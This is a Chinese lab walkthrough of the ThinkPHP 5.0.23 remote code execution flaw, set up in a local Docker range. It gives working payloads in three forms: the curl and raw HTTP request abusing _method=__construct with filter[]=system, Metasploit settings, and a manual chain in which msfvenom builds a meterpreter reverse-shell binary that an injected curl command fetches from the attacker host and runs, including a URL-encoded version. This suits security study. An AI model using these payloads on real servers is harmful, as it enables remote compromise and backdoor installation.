[RCE漏洞]thinkphp 5.0.23 远程代码执行漏洞

实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。

1、靶场搭建

docker 环境 部署,将 thinkphp-5.0.23.tar.gz 靶场传入 centos,导入镜像:

docker load -i thinkphp-5.0.23.tar.gz

查看导入的镜像:

docker images

准备好rce环境配置并启动靶场环境:

cd /root/thinkphp/5.0.23-rce/
docker compose up -d

然后查看靶场访问地址:

cat docker-compose.yml

容器 80 映射到了主机 8080 端口,那么我们访问 <centos主机ip:8080> 即可。

靶场准备完毕。


2、漏洞复现

2.1 curl 传参复现

curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" | head -n 1

漏洞利用链:

  • 属性覆盖:通过 _method=__construct,攻击者成功覆盖了 Request 对象的 filtermethod 等属性。
  • 参数获取:当框架后续调用 Request 对象的 get() 方法(由 method=get 指定)时,该方法会尝试获取用户输入的参数。
  • 过滤器应用:在获取参数的过程中,框架会应用之前设置的 filter(即 system 函数)。
  • 命令执行:最终,框架会执行类似 system('id') 的操作。这里的 'id' 字符串正是来自server[REQUEST_METHOD]=id 这个参数的值。
  • 结果返回:id 命令在服务器上执行,并将结果作为 HTTP 响应体返回给攻击者。

-d 表示发送带参数的请求(默认是 post 方式提交),head -n 1 是指定只显示前 1 行,我们只要命令执行结果就行,?s=captcha会让服务器框架会根据 captcha 这个路径字符串,自动匹配到对应的控制器(如 CaptchaController)和方法,从而执行相应的业务逻辑。


2.2 bp发包复现

只是发包,bp 不用开代理拦截,进入重放器编辑数据包发送即可:

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.124.15:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

得到结果:


2.3 msf复现

search thinkphp 查找相关漏洞:

使用它,并配置好 options(SRVPORT参数会在本机启动一个 8080 端口的 web 服务提供恶意文件下载到目标主机然后上线。):

set rhosts 192.168.124.15
set rport 8080
set lhost 192.168.124.66
set srvport 8080
run

3、手动实现 msf 漏洞利用流程

3.1 生成后门并启用web

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.124.66 lport=4444 -f elf -o reverse_tcp_shell
python3 -m http.server 80

3.2 配置侦听

msfdb run
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost 192.168.124.66
run

3.3 漏洞利用语句

curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/reverse_tcp_shell http://192.168.124.66/reverse_tcp_shell;chmod +x /tmp/reverse_tcp_shell;/tmp/reverse_tcp_shell;rm -f /tmp/reverse_tcp_shell"

执行的内容和 msf 一样:

  • 下载 reverse_tcp_shell
  • 添加执行权限
  • 执行
  • 删除

发送的命令比较长,存在一些特殊符号,所以需要进行 url 编码。

curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%36%36%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c"

利用成功:


做完实验后在 centos 关闭环境。

docker compose down

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容